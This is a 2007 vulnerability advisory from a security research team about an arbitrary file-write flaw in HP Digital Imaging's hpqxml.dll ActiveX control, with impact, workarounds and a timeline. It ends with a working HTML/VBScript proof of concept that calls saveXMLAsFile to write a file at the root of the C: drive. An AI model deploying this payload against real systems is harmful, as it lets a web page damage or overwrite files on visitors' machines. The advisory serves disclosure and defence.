<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 6.5.7036.0">
<TITLE> [GOODFELLAS - VULN] hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write.</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->
<BR>
<P><B><FONT SIZE=2 FACE="Arial">:. GOODFELLAS Security Research TEAM .:</FONT></B>
<BR><FONT SIZE=2 FACE="Arial">:. </FONT><A HREF="http://goodfellas.shellcode.com.ar"><U><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">http://goodfellas.shellcode.com.ar</FONT></U></A><FONT SIZE=2 FACE="Arial"> .:</FONT>
</P>
<P><B><FONT SIZE=2 FACE="Arial">hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write</FONT></B>
<BR><FONT COLOR="#000000" SIZE=2 FACE="Arial">===================================================</FONT>
</P>
<P><FONT SIZE=2 FACE="Arial">Internal ID:</FONT><B> <FONT SIZE=2 FACE="Arial">VULWAR200706275.</FONT></B>
</P>
<P><U><B><FONT SIZE=2 FACE="Arial">Introduction</FONT></B></U><B></B>
</P>
<P><B><FONT SIZE=2 FACE="Arial">hpqxml.dll</FONT></B> <FONT SIZE=2 FACE="Arial">is a library included in the HP Photo Digital Imaging</FONT>
<BR><FONT SIZE=2 FACE="Arial">software package from the HP Company. </FONT><A HREF="http://www.hp.com"><U><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">http://www.hp.com</FONT></U></A><FONT SIZE=2 FACE="Arial">.</FONT>
<BR><FONT SIZE=2 FACE="Arial">Link: </FONT><A HREF="http://www.hp.com/united-states/consumer/digital_photography/home_f.html"><U><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">http://www.hp.com/united-states/consumer/digital_photography/home_f.html</FONT></U></A>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Tested In</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">- Windows XP SP2 english/french with</FONT><B> <FONT SIZE=2 FACE="Arial">IE 6.0 / 7.0.</FONT></B>
<BR><FONT SIZE=2 FACE="Arial">- Windows vista Professional English/French SP1 with</FONT><B> <FONT SIZE=2 FACE="Arial">IE 7.0</FONT></B>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Summary</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">The saveXMLAsFile method doesn't check if it is being called from the application</FONT>
<BR><FONT SIZE=2 FACE="Arial">or from a malicious user.</FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Impact</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">The vulnerability is due to an error in the saveXMLAsFile method that manipulate</FONT>
<BR><FONT SIZE=2 FACE="Arial">local files insecurely, which could allow malicious users to write arbitrary</FONT>
<BR><FONT SIZE=2 FACE="Arial">data to any file on a vulnerable system. Besides, the method does not check the </FONT>
<BR><FONT SIZE=2 FACE="Arial">file headers before writing.</FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Workaround</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">- Activate the Kill bit zero in clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.</FONT>
<BR><FONT SIZE=2 FACE="Arial">- Unregister hpqxml.dll using regsvr32.</FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Timeline</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">June 27, 2007 -- Bug discovery.</FONT>
<BR><FONT SIZE=2 FACE="Arial">June 27, 2007 -- Bug published.</FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Credits</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial"> * Brian Mariani <bmariani@shellcode.com.ar</FONT>
<BR><FONT SIZE=2 FACE="Arial"> * GoodFellas Security Research Team <goodfellas.shellcode.com.ar></FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Technical Detail</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial">saveXMLAsFile method receives a filename as an argument, with this format "c:\path\file".</FONT>
</P>
<BR>
<P><U><B><FONT SIZE=2 FACE="Arial">Proof of Concept</FONT></B></U><B></B>
</P>
<P><FONT SIZE=2 FACE="Arial"><html></FONT>
<BR><FONT SIZE=2 FACE="Arial"><head></FONT>
<BR><FONT SIZE=2 FACE="Arial"><title>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</title></FONT>
<BR><FONT SIZE=2 FACE="Arial"></head></FONT>
<BR><FONT SIZE=2 FACE="Arial"><body></FONT>
<BR><FONT SIZE=2 FACE="Arial"><h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br></FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"><object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target' /></object></FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"><input language=VBScript onclick=HP() type=button value="Proof of Concept"></FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"><script language = 'vbscript'></FONT>
</P>
<P><FONT SIZE=2 FACE="Arial">Sub HP() </FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"> filename = "C:\NTDETECT_.COM"</FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"> target.saveXMLAsFile filename </FONT>
</P>
<P><FONT SIZE=2 FACE="Arial">End Sub</FONT>
</P>
<P><FONT SIZE=2 FACE="Arial"></script></FONT>
<BR><FONT SIZE=2 FACE="Arial"></body></FONT>
<BR><FONT SIZE=2 FACE="Arial"></html></FONT>
</P>
</BODY>
</HTML>